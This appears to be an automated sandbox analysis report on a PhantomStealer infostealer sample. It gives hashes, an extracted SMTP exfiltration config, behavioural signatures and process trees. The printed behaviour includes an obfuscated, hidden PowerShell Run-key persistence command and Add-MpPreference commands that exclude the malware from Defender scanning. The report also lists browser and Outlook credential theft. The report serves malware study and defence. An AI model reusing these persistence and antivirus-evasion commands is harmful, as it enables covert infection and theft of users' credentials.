Analysis
- max time kernel
149s - max time network
137s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 10:34
Static task
static1
Behavioral task
behavioral1
Sample
70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe
Resource
win11ltsc2024-20260709-en
General
- Target 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe
- Size 1.5MB
- Sample260910-ml8nfabj2x
- SHA256 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68
- MD5 c9e707b4085ea268506f1c7ea8ca57b5
- SHA1 c98e2345a473cd6e930eba5905013f826031e4b7
- SHA512 f3df5d14d5ef5b8968bf99a66dfc1063f9a0d0cd1076c28c5855a0d16f8218801091fdc38d4b56b51e6d9e476af413f732d7c5fd0ba4f8c1e879da2e555f5dfc
- SSDEEP 24576:GBnn+0Stes+Ap806Tfjh1glVPaxtMHnhMgP905vaERAGtQg2:0hPGoTfjh1QRaXohMH/x
- TLSH T1E475DFDD7204A58FC9A38A31DAA4DEB04B206C7A5306C20390F73DABBF4D597DD056E6
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
phantom_stealer
-
v4.0.0
-
Protocol
smtp
-
Host
hIMca0093UppXtKN/mON2cHh27ECiSK9WzvQWWncoylQAAAA1OiQyCPaNKIBuNMATgw2f0MrAi/6S6TcYOs6OdJr/N0WRcGTiigG+UX3pI+k8Zjr2IVIDHkD3pOYUFGqaOrpKPaIXvt6tutNueWWjs/yjEA/ptknErg0PxfJhs2dQ+M7k022Ii2vgaUYw6qI+2ZEqw==
-
Username
mri623Q8f2x18lINx8v1Url++J2fxPQRcG/VCqE7R4VQAAAAEb596trDcHeg6HfDZgGa7eb+sQojSpSA5qd2P9EGad75R9fXqLCsaoQ4ju2WeG0GT2GTGF5UC9ad1Efb6jwtA+FdnUetArOSQNlrehWFM0+Uczz7TMYFf3/xT/iwjmslmUSVhvyx/T4RQn/qWERW/Q==
-
Password
ElQKTgn9765GQS8y1hbyFruP7383rbVk+xcOQkLTA95QAAAAfiJKC2qBAQtTu6+P2EaFSD7TJCglnwmxiQERaBJ3U+pY44oJvfmw3154BmEPRg+LwCKLepHdU8vCqFGdxLaIt1yrjFUEBELan35RrAk/wi13AEej1RDfKgC9kT61GBnn
-
Email to
NCbzzemS1CXXQRDxM2A6TY/EAkf5f0TqgX5yL/KN9fxQAAAAR+NAuPVNuRj53w8uc28dwbokcduswzANmhMZVpZQM1zch2nwH8SUs8BKcXJ/sJLLW52ZJHYtwn5ywaY9M63iAeEwM+TuiT3znpua2KKxXnl3cH9gdkHD4falFy45EsrRmcB0AghnjRiomuFHPjLT3g==
-
Protocol
ftp
-
Host
0
-
Username
0
-
Password
0
-
IN9Q8DV44047Y75LUT5K
-
0
-
credit_cards
true
-
enable_ssl
true
-
passwords
true
-
smtp_enabled
true
Signatures
- Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1340 powershell.exe 2560 powershell.exe 768 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 2276 WjkYZAyTT.exe 3144 WjkYZAyTT.exe 1140 WjkYZAyTT.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WjkYZAyTT = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$zkvq00=4912;$ldf11t=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1x2t2i=$env:COMPUTERNAME;$vn4zqh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFdqa1laQXlUVC5leGU=')));$1x2t2i=$env:COMPUTERNAME;& $ldf11t -FilePath $vn4zqh\"" 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe - Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 icanhazip.com - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3900 set thread context of 352 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 91 PID 2276 set thread context of 1140 2276 WjkYZAyTT.exe 101 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WjkYZAyTT.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WjkYZAyTT.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe - Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 2560 powershell.exe 2560 powershell.exe 1340 powershell.exe 1340 powershell.exe 1340 powershell.exe 352 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 352 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 2276 WjkYZAyTT.exe 2276 WjkYZAyTT.exe 2276 WjkYZAyTT.exe 2276 WjkYZAyTT.exe 2276 WjkYZAyTT.exe 768 powershell.exe 768 powershell.exe 768 powershell.exe - Suspicious use of AdjustPrivilegeToken 49 IoCs
description pid Process Token: SeDebugPrivilege 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe Token: SeDebugPrivilege 352 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe Token: SeDebugPrivilege 2560 powershell.exe Token: SeDebugPrivilege 1340 powershell.exe Token: SeIncreaseQuotaPrivilege 2560 powershell.exe Token: SeSecurityPrivilege 2560 powershell.exe Token: SeTakeOwnershipPrivilege 2560 powershell.exe Token: SeLoadDriverPrivilege 2560 powershell.exe Token: SeSystemProfilePrivilege 2560 powershell.exe Token: SeSystemtimePrivilege 2560 powershell.exe Token: SeProfSingleProcessPrivilege 2560 powershell.exe Token: SeIncBasePriorityPrivilege 2560 powershell.exe Token: SeCreatePagefilePrivilege 2560 powershell.exe Token: SeBackupPrivilege 2560 powershell.exe Token: SeRestorePrivilege 2560 powershell.exe Token: SeShutdownPrivilege 2560 powershell.exe Token: SeDebugPrivilege 2560 powershell.exe Token: SeSystemEnvironmentPrivilege 2560 powershell.exe Token: SeRemoteShutdownPrivilege 2560 powershell.exe Token: SeUndockPrivilege 2560 powershell.exe Token: SeManageVolumePrivilege 2560 powershell.exe Token: 33 2560 powershell.exe Token: 34 2560 powershell.exe Token: 35 2560 powershell.exe Token: 36 2560 powershell.exe Token: SeDebugPrivilege 2276 WjkYZAyTT.exe Token: SeDebugPrivilege 1140 WjkYZAyTT.exe Token: SeDebugPrivilege 768 powershell.exe Token: SeIncreaseQuotaPrivilege 768 powershell.exe Token: SeSecurityPrivilege 768 powershell.exe Token: SeTakeOwnershipPrivilege 768 powershell.exe Token: SeLoadDriverPrivilege 768 powershell.exe Token: SeSystemProfilePrivilege 768 powershell.exe Token: SeSystemtimePrivilege 768 powershell.exe Token: SeProfSingleProcessPrivilege 768 powershell.exe Token: SeIncBasePriorityPrivilege 768 powershell.exe Token: SeCreatePagefilePrivilege 768 powershell.exe Token: SeBackupPrivilege 768 powershell.exe Token: SeRestorePrivilege 768 powershell.exe Token: SeShutdownPrivilege 768 powershell.exe Token: SeDebugPrivilege 768 powershell.exe Token: SeSystemEnvironmentPrivilege 768 powershell.exe Token: SeRemoteShutdownPrivilege 768 powershell.exe Token: SeUndockPrivilege 768 powershell.exe Token: SeManageVolumePrivilege 768 powershell.exe Token: 33 768 powershell.exe Token: 34 768 powershell.exe Token: 35 768 powershell.exe Token: 36 768 powershell.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3900 wrote to memory of 2560 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 89 PID 3900 wrote to memory of 352 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 91 PID 3900 wrote to memory of 352 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 91 PID 3900 wrote to memory of 352 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 91 PID 3900 wrote to memory of 352 3900 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe 91 PID 1340 wrote to memory of 2276 1340 powershell.exe 95 PID 2276 wrote to memory of 768 2276 WjkYZAyTT.exe 98 PID 2276 wrote to memory of 3144 2276 WjkYZAyTT.exe 100 PID 2276 wrote to memory of 1140 2276 WjkYZAyTT.exe 101 PID 2276 wrote to memory of 1140 2276 WjkYZAyTT.exe 101 PID 2276 wrote to memory of 1140 2276 WjkYZAyTT.exe 101 PID 2276 wrote to memory of 1140 2276 WjkYZAyTT.exe 101 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe"C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2560
-
-
C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe"C:\Users\Admin\AppData\Local\Temp\70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
PID:352
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$zkvq00=4912;$ldf11t=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1x2t2i=$env:COMPUTERNAME;$vn4zqh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFdqa1laQXlUVC5leGU=')));$1x2t2i=$env:COMPUTERNAME;& $ldf11t -FilePath $vn4zqh"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2276 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:768
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C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"3⤵
- Executes dropped EXE
PID:3144
-
-
C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1140
-
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:1292
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 21KB
- SHA256 d6d235e20b35ad4b1575b9fff29c38517e1d5aa4173fd7616bad6a587171d95c
- MD5 a5420861cd9ea2964a28fa7baa947558
- SHA1 c57bc9825084997a52c054b708571a98e27dc322
- SHA512 c6aff94752cf9928991388e04fb3eac1ceacfaef4012554336258dd66430dbd76121eb0e85929e4fce3cdda8b65a28a8c896667d3e24010d2c7a0ccea78daa6b
- SSDEEP 384:v1eBaoT1iBGmGW14bGybTxU1B+gF1I9lr2Pn5IAXr4B+dWoVIzKwMvYbhNaPElRw:texZ6GlWiyoTxUT+r6RIAXrq+tojbhNK
- TLSH T15EA2B578213F6DC7D8D226B410D10AF7FBE4D489DAB611D4AF2BDE2F4C90EB64A60524
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1pne3nz.dwu.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\WjkYZAyTT.exe
- Size 1.5MB
- SHA256 70709ba747aa5f89277fbf2c80fd0c02975c57996cd11d323427e784faf53d68
- MD5 c9e707b4085ea268506f1c7ea8ca57b5
- SHA1 c98e2345a473cd6e930eba5905013f826031e4b7
- SHA512 f3df5d14d5ef5b8968bf99a66dfc1063f9a0d0cd1076c28c5855a0d16f8218801091fdc38d4b56b51e6d9e476af413f732d7c5fd0ba4f8c1e879da2e555f5dfc
- SSDEEP 24576:GBnn+0Stes+Ap806Tfjh1glVPaxtMHnhMgP905vaERAGtQg2:0hPGoTfjh1QRaXohMH/x
- TLSH T1E475DFDD7204A58FC9A38A31DAA4DEB04B206C7A5306C20390F73DABBF4D597DD056E6
- MD5 SHA1 SHA512 SSDEEP TLSH